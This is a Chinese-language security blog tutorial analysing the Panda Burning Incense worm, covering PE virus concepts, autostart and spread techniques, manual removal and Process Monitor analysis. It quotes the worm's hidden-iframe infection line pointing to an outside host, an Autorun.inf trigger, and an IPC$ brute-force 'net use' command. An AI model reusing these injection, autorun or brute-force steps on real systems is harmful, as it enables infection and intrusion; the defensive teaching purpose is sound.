如果你想成爲一名逆向分析或惡意代碼檢測工程師,或者對系統安全非常感興趣,就必須要認真分析一些惡意樣本。熊貓燒香病毒就是一款非常具有代表性的病毒,當年造成了非常大的影響,並且也有一定技術手段。本文將詳細講解熊貓燒香的行爲機理,並通過軟體對其功能行爲進行分析,這將有助於我們學習逆向分析和反病毒工作。後續作者還將對其進行逆向偵錯,以及WannaCry勒索蠕蟲、各種惡意樣本及木馬的分析。基礎性文章,希望您喜歡!同時,本文部分實驗參考姜曄老師的視訊分析,真的非常佩服和值得去學習的一位老師。技術路上哪有享樂,爲了提升安全能力,別抱怨,幹就對了~
從2019年7月開始,我來到了一個陌生的專業——網路空間安全。初入安全領域,是非常痛苦和難受的,要學的東西太多、涉及面太廣,但好在自己通過分享100篇「網路安全自學」系列文章,艱難前行着。感恩這一年相識、相知、相趣的安全大佬和朋友們,如果寫得不好或不足之處,還請大家海涵!
接下來我將開啓新的安全系列,叫「安全攻防進階篇」,也是免費的100篇文章,作者將更加深入的去研究惡意樣本分析、逆向分析、內網滲透、網路攻防實戰等,也將通過線上筆記和實踐操作的形式分享與博友們學習,希望能與您一起進步,加油~
話不多說,讓我們開始新的徵程吧!您的點贊、評論、收藏將是對我最大的支援,感恩安全路上一路前行,如果有寫得不好或侵權的地方,可以聯繫我刪除。基礎性文章,希望對您有所幫助,作者目的是與安全人共同進步,加油~
作者的github資源:
逆向分析:https://github.com/eastmountyxz/Reverse-Analysis-Case
軟體安全:https://github.com/eastmountyxz/Software-Security-Course
網路安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study
宣告:本人堅決反對利用教學方法進行犯罪的行爲,一切犯罪行爲必將受到嚴懲,綠色網路需要我們共同維護,更推薦大家瞭解它們背後的原理,更好地進行防護。該樣本不會分享給大家,分析工具會分享。(參考文獻見後)
前文回顧:
[安全攻防進階篇] 一.什麼是逆向分析、逆向分析應用及經典掃雷遊戲逆向
[安全攻防進階篇] 二.如何學好逆向分析、逆向路線推薦及呂布傳遊戲逆向案例
[安全攻防進階篇] 三.OllyDbg和Cheat Engine工具逆向分析植物大戰殭屍遊戲
[安全攻防進階篇] 四.逆向分析之條件語句和回圈語句原始碼還原及流程控制逆向
[安全攻防進階篇] 五.逆向分析之Win32 API獲取及加解密目錄檔案、OllyDbg逆向其原理
[安全攻防進階篇] 六.逆向分析之OllyDbg逆向CrackMe01-02及加殼判斷
[安全攻防進階篇] 七.惡意樣本檢測之編寫程式碼自動提取IAT表、字串及時間戳溯源
首先簡單給大家普及下PE病毒的基礎概念和分類,方便大家理解熊貓燒香病毒的行爲。
什麼是PE病毒?
PE病毒是以Windows PE程式爲載體,能寄生於PE檔案或Windows系統的病毒程式。PE病毒數量非常之多,包括早起的CIH病毒,全球第一個可以破壞計算機硬體的病毒,它會破壞主辦的BIOS,對其數據進行擦寫修改。再比如熊貓燒香、機器狗等等,其危害非常之大。
什麼叫感染?
說到病毒,不得不提感染。感染是指在儘量不影響目標程式(系統)正常功能的前提下,而使其具有病毒自身的功能。什麼叫病毒自身的功能呢?一個病毒通常包括如下模組:
編寫病毒的核心技術
如果我們要編寫PE病毒,則需要掌握以下的關鍵技術:
PE病毒分類
以感染目標進行分類,包括:
熊貓燒香病毒屬於捆綁釋放型,其感染實現起來比較簡單,目前很大一部分病毒程式都採用這種方法。捆綁釋放型感染時將目標HOST程式作爲數據儲存在病毒體內,當執行病毒程式時,它先執行病毒程式,然後還原並執行HOST檔案,從而保證被感染的程式本身能正常執行,不會引起一些異樣。如下圖所示,左邊是一個正常程式(QQ),感染之後會將病毒放在前面,正常程式放在後面,程式執行之後,病毒會拿到控制權。但缺點是程式圖示會顯示前面的病毒程式,顯示熊貓燒香,這是一個明顯的被感染特徵。
常見自啓動方式
PE病毒執行之後,需要使用自啓動技術保證下次開機再執行。常見的自啓動方式包括:
註冊表中的鍵值
特定路徑的特定檔案
系統中的特定位置,如Explorer.exe(顯示桌面)。
利用系統自動播放機制 機製Autorun.inf
比如U盤病毒或光碟病毒就是利用U盤或光碟的自動播放功能。目前,也有一些U盤插入之後,不需要你去雙擊這個U盤,裏面的程式就會自啓動。
在其他可執行檔案嵌入少量觸發程式碼
比如修改引入函數節啓動DLL病毒檔案(新增相應結構,初始化程式碼觸發),或在特定PE檔案程式碼段插入觸發程式碼等(只需定位可執行程式並執行)。
DLL劫持:替換已有DLL檔案
很多應用程式或操作系統執行時,都會去執行DLL檔案,如果病毒將自身做成一個DLL檔案,同時將系統DLL檔案替換。可想而知,系統啓動時,它是根據檔名啓動的,此時病毒DLL檔案就會拿到控制權,如果拿到控制權之後再進一步裝載原始DLL檔案,這樣系統的本身機制 機製也不會受到影響,隱蔽性更強。該方法非常常見,甚至有一些病毒程式將反病毒軟體可依賴的DLL檔案替換。
下圖展示了Autoruns軟體看到Windows操作系統進行自啓動的選項。如果病毒本身能很好地結合這套機制 機製,它可以做的事情非常多,並且具有很好的隱蔽性。
再比如我們之前分享的WinRAR漏洞(CVE-2018-20250),當惡意ACE檔案被受害者解壓之後,會釋放惡意木馬至指定目錄(系統自啓動資料夾),受害者重新啓動電腦會執行惡意木馬。如下圖所示:
常見傳播方式
一切可對外互動的渠道都可傳播,包括:
比如通過可移動儲存裝置傳播的非感染式病毒,即Autorun.inf。下圖顯示了Autorun.inf檔案,如果檔案存在U盤根目錄,當我們雙擊這個U盤時,它就會觸發對應的病毒,如果選擇U盤碟符右鍵開啓或開啓資源管理器,這是進入的也是病毒程式。當然演示的是計算器程式。
[AutoRun]
open=mspaint.exe
shell\open=開啓(&O)
shell\open\Command=calc.exe
shell\open\Default=1
shell\explore=資源管理器(&X)
shell\explore\Command=calc.exe
最後展示Stuxnet震網事件的漏洞利用過程和啓動方式,傳統的Autorun方式很容易被禁止掉,而Stuxnet利用的是lnk漏洞(MS10-046),它會在目標U盤下放入lnk快捷方式及病毒程式(如DLL檔案)。不管通過什麼方式進入U盤,lnk檔案會被解析從而觸發漏洞,導致U盤中的病毒程式被執行,所以0Day漏洞也越來越多應用到安全攻擊中。
熊貓燒香(Worm.WhBoy)是一款擁有自動傳播、自動感染硬碟能力和強大的破壞能力的病毒,它不但能感染系統中exe、com、pif、src、html、asp等檔案,它還能中止大量的反病毒軟體進程並且會刪除擴充套件名爲gho的檔案。該檔案是一系統備份工具GHOST的備份檔案,使使用者的系統備份檔案丟失。被感染的使用者系統中所有.exe可執行檔案全部被改成熊貓舉着三根香的模樣。2006年10月16日由25歲的湖北武漢李俊編寫,2007年1月初肆虐網路,它主要通過下載的檔案傳染傳播。
2006-2007年,「熊貓燒香」可謂是轟動一時。時隔多年,當我們回過頭再次來看該事件,「熊貓燒香」的破壞力遠大於其技術含量,尤其是對網路資訊保安產生深遠的影響,畢竟它是第一個讓中國普通使用者對木馬病毒有所認識和感知的。現在從技術角度來看,熊貓燒香病毒技術水平一般,但病毒作者在當時運用的各類技術手法還是值得安全人蔘考和借鑑的。
正如騰訊安全聯合實驗室文章說的一樣(見參考文獻),熊貓燒香病毒如果是放在現在,這些基本是所有病毒木馬常見、必備的技術,但技術不可同日而語。隨着人工智慧、大數據、雲端計算區塊鏈等先進技術的不斷髮展,病毒作者也將這些技術手段運用到各類安全攻擊中危害大家。典型的包括:
除此之外,供應鏈攻擊、AI對抗樣本、視訊語音欺騙等攻擊延伸都是未來駭客技術的發展趨勢,這些都應該引起我們足夠的重視。這些病毒事件一方面會警醒我們網路空間安全,另一方面也會督促我們安全人員不斷思考和對抗。未知攻,焉知防。
熊貓燒香病毒有它的特殊性,也有它的通用性。下面 下麪結合第一部分PE病毒基礎知識,介紹熊貓燒香病毒的基本行爲。
(1) 自啓動方式
注意,該Setup.exe檔案被設定爲隱藏、只讀、系統,雖然我們可以檢視「隱藏的專案」,但某些隱藏的系統檔案仍然是看不到的。
我們需要進一步設定,取消勾選「隱藏保護的操作系統檔案」,才能 纔能顯示這類檔案,如下圖所示。而通常設定爲隱藏的系統檔案是較難被覺察的,尤其當這類檔案被寫入到某個指定的操作系統目錄中,防不勝防。
(2) 感染與傳播方式
<iframe src=http://www.ac86.cn/66/index.htm width="0" height="0">
</iframe>
(3) 自我隱藏
IPC$ (Internet Process Connection)
在未經授權情況很難將木馬拷貝到別人的電腦上。這裏需要利用IPC $ 漏洞,呼叫445埠號實現。445埠中有個IPC $ ,稱之爲空連線,沒有固定資料夾的共用;而C$ 、D$ 、E$ 代表分割區共用,是有固定資料夾的。換句話說,445埠開啓就相當於我們可以在區域網中輕鬆存取各種共用資料夾,如果您的電腦是弱密碼,很容易就被攻破,這裏使用IPC $ 暴力爆破。
IPC $ (Internet Process Connection) 是共用「命名管道」的資源,它是爲了讓進程間通訊而開放的命名管道,通過提供可信任的使用者名稱和口令,連線雙方可以建立安全的通道並以此通道進行加密數據的交換,從而實現對遠端計算機的存取。IPC $ 是NT2000的一項新功能,它有一個特點,即在同一時間內,兩個IP之間只允許建立一個連線。NT2000在提供了 IPC $ 功能的同時,在初次安裝系統時還打開了預設共用,即所有的邏輯共用(C$ 、D$ 、E$ …)和系統目錄(C:\windows)共用。所有的這些初衷都是爲了方便管理員的管理,但好的初衷並不一定有好的收效,一些別有用心者會利用IPC$存取共用資源,導出使用者列表,並使用一些字典工具,進行密碼探測。
推薦作者前文:[網路安全自學篇] 木馬原理詳解、遠端伺服器IPC $漏洞及木馬植入實驗
下圖展示了使用NTscan軟體暴力爆破,該軟體支援遠端連線IPC $和利用字典檔案。執行軟體,輸入IP地址「10.1.1.2」,選擇IPCsan連線共用「IPC $」,成功獲取了密碼「123.com」。接着與目標主機建立IPC $ 空連線。
net use \\10.1.1.2\ipc$ 123.com /user:administrator
(4) 破壞功能
這就是一個典型的病毒案例,當然現在很多病毒功能都具有相似性,它們有經濟利益趨勢。當然對於不同的病毒來說,如果它的目的不一樣,其行爲會存在很大差異。當然熊貓燒香病毒的隱蔽性不是很好,每一個感染者都會知道自己已被感染。
首先,作者將熊貓燒香病毒拷貝到虛擬機器系統中,注意一定不能真機去執行,更不能去破壞或傷害他人。該樣本不會分享給大家,任何破壞行爲都將受到嚴懲,我僅是從反病毒原理及防禦方面進行技術分享。
正如姜曄老師說的一樣,手動查殺病毒基本流程如下:
爲什麼計算機中安裝了防毒軟體,還要去手動查殺呢?
因爲防毒軟體存在嚴重的滯後性,必須要等病毒工程師抓取對應樣本,並進行分析總結病毒的特徵碼,再加入殺軟病毒庫後才能 纔能識別病毒,但病毒會存在各種變種,因此手動查殺也是必要的。同時,這對我們反病毒工程師來說也是認識和熟悉病毒的過程,在技術上是非常必要的。這也是現在爲什麼很多雲沙箱、雲殺軟、動態更新的技術不斷出現。
實驗目的:
第一步,執行病毒前開啓工作管理員觀察此時開啓的進程。
第二步,執行程式,可以發現工作管理員就自動關閉,並且無法再次開啓(總一閃而過)。
那麼,我們怎麼檢視系統中的進程呢?
第三步,開啓CMD命令提示字元,輸入命令「tasklist」檢視。
顯示進程資訊如下圖所示,我們發現多出來「spoclsv.exe」進程。該程式即爲熊貓燒香病毒建立出來的進程。
第四步,輸入「taskkill /f /im 1684」命令強制結束這個進程,其中「/f」表示強制執行,「/im」表示檔案映象,「1684」對應PID值。如下圖所示,成功殺掉該進程。
第五步,排查可疑進程之後,我們接下來查詢啓動項,在執行中輸入msconfig。
顯示如下圖所示,可以看到「spoclsv」啓動項。
第六步,檢測該啓動項建立的位置及鍵值。
第七步,我們開啓註冊表檢視對應的值,發現建立了一個svcshare的值,並啓動對應exe程式。
接着我們開啓這個目錄檢視。
第八步,取消勾選「spoclsv」啓動項,點選「確定」。
先暫時不重新啓動計算機。
接着重新整理註冊表,發現「spoclsv」已經消失,表示啓動項已經成功被刪除。
第九步,我們需要刪除這個病毒,這裏使用CMD命令列對其進行刪除。
輸入「del /f spoclsv.exe」強制刪除該檔案,顯示如下圖所示,成功刪除。
寫到這裏,我們是否真的成功清除了熊貓燒香病毒呢?
NO,該病毒還將自身複製到每一個磁碟的根目錄下。
第十步,刪除隱藏系統只讀的檔案。
輸入「dir /ah」檢視隱藏的檔案,發現autorun.inf和setup.exe。
接着強制刪除這兩個檔案,也可以將檔案屬性修改後刪除。
重新啓動系統後,所有手動查殺病毒的工作完畢,我們的系統就又恢復正常了。
接着我們通過Process Monitor工具來監控熊貓燒香病毒的行爲。
Process Monitor是微軟推薦的一款系統監視工具,能夠實時顯示檔案系統、註冊表(讀寫)、網路連線與進程活動的高階工具。它整合了舊的Sysinternals工具、Filemon與Regmon,其中Filemon專門用來監視系統中的任何檔案操作過程,Regmon用來監視註冊表的讀寫操作過程。
同時,Process Monitor增加了進程ID、使用者、進程可靠度等監視項,可以記錄到檔案中。它的強大功能足以使Process Monitor成爲您系統中的核心元件以及病毒探測工具。
Process Monitor可以幫助使用者對系統中的任何檔案、註冊表操作進行監視和記錄,通過註冊表和檔案讀寫的變化,有效幫助診斷系統故障或發現惡意軟體、病毒及木馬。
下載Procmon.exe軟體後,直接雙擊啓動,Procmon會自動掃描分析系統當前程式的執行情況。其中,下圖框出來的4個常用按鈕作用分別爲:捕獲開關、清屏、設定過濾條件、查詢。最後5個並排的按鈕,是用來設定捕獲哪些型別的事件,分別表示註冊表的讀寫、檔案的讀寫、網路的連線、進程和執行緒的呼叫和設定事件。一般選擇前面2個,分別爲註冊表和檔案操作。
輸出結果中包括序號、時間點、進程名稱、PID、操作、路徑、結果、描述等,監控項通常包括:
更多用法推薦作者的前文,下面 下麪直接講解針對熊貓燒香病毒的行爲分析。
第一步,開啓Procmon.exe軟體。
第二步,在篩選器中選擇開啓Procmon.exe軟體,Filter中選擇過濾病毒的名稱「setup.exe」。
然後點選新增和應用。
第三步,執行熊貓燒香病毒,可以看到它捕獲了非常多的病毒資訊。
第四步,首先檢視病毒的Process Tree(進程樹)。
可以看到setup.exe的熊貓燒香病毒程式,並衍生出一個spoclsv.exe程式。位置資訊爲:
第五步,發現spoclsv.exe程式三次開啓cmd,執行net share命令刪除各個磁碟共用及系統根目錄共用。
此時我們總結病毒的行爲:
第六步,回到Procmon軟體進行深入分析。關閉其他結果,只顯示註冊表行爲。
接着在過濾器中僅顯示對註冊表修改的值,如下圖所示。
主要修改的是Seed項,就是亂數種子的生成。但僅僅通過這個資訊無法推測註冊表的行爲,所以該病毒對註冊表並沒有什麼實質性影響。
第七步,檢視病毒對檔案的修改。
在過濾器中刪除註冊表的修改,然後檢測熊貓燒香病毒是否建立檔案,建立檔案也是病毒的重要手段。
可以看到主要建立的檔案是WINDOWS\system32\drivers目錄下,其他並沒有特別的東西。所以setup.exe程式對我們的系統並沒有實質性影響,主要影響還是spoclsv.exe程式,所以下一步操作就是監控spoclsv.exe程式。
第八步,在過濾器中刪除對setup.exe的監控,設定對spoclsv.exe程式的監控。
第九步,在過濾器中檢視spoclsv.exe刪除註冊表選項。
從這些名稱可以看到它們都是常用的防毒軟體名稱,其位置是CurrentVersion的Run下面 下麪,即將防毒軟體的自動啓項全部刪除。
第十步,在過濾器中檢視spoclsv.exe建立及設定的註冊表鍵值。
顯示結果如下圖所示,病毒設定了自啓動項,要啓動的本體是drivers目錄下的spoclsv.exe。
繼續檢視,發現它對檔案實現隱藏,設定該值後,即使我們在資料夾選項中選擇顯示所有檔案和資料夾,也無法顯示隱藏檔案。
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue
第十一步,在過濾器中檢視spoclsv.exe檔案操作。
熊貓燒香病毒建立檔案包括:
由於建立這些檔案之後就對註冊表的SHOWALL項進行了設定,使得隱藏檔案無法顯示,那麼有理由相信,所建立出來的這些檔案的屬性都是「隱藏」的。
第十二步,在過濾器中檢視spoclsv.exe網路行爲。
從監控結果可以看到,病毒會向區域網發送並接收資訊,並不斷嘗試向外進行連線和發送數據包。
寫到這裏,我們基本已經分析了熊貓燒香的病毒行爲,但這些行爲仍然無法徹底瞭解病毒的行爲,還需要通過OllyDbg逆向分析和IDA靜態分析來實現。同時,熊貓燒香病毒還有一些其他的行爲,包括:
寫到這裏,這篇文章就介紹完畢,希望對您有所幫助,最後進行簡單的總結下。
同時,請讀者思考幾個問題。
學安全一年,認識了很多安全大佬和朋友,希望大家一起進步。這篇文章中如果存在一些不足,還請海涵。作者作爲網路安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章。同時非常感謝參考文獻中的安全大佬們的文章分享,深知自己很菜,得努力前行。
有點想家和女神了!月是故鄉圓啊~接着加油。
程式設計沒有捷徑,逆向也沒有捷徑,它們都是搬磚活,少琢磨技巧,幹就對了。什麼時候你把攻擊對手按在地上摩擦,你就贏了,也會慢慢形成了自己的安全經驗和技巧。加油吧,少年希望這個路線對你有所幫助,共勉。
(By:Eastmount 2020-08-13 星期四 中午2點寫於武漢 http://blog.csdn.net/eastmount/ )
參考文獻:
姜曄老師真的非常佩服和值得去學習,希望自己和大家的技術能不斷提升,加油!
[1] [網路安全自學篇] 木馬原理詳解、遠端伺服器IPC $漏洞及木馬植入實驗
[2] 姜曄老師的技術空間目錄 - CSDN
[3] 騰訊安全聯合實驗室 - 知乎文章
[4] [網路安全自學篇] 七十九.Windows PE病毒原理、分類及感染方式詳解
[5] 姜曄老師技術分享 - B站
[6] [網路安全自學篇] 四十九.Procmon軟體基本用法及檔案進程、註冊表檢視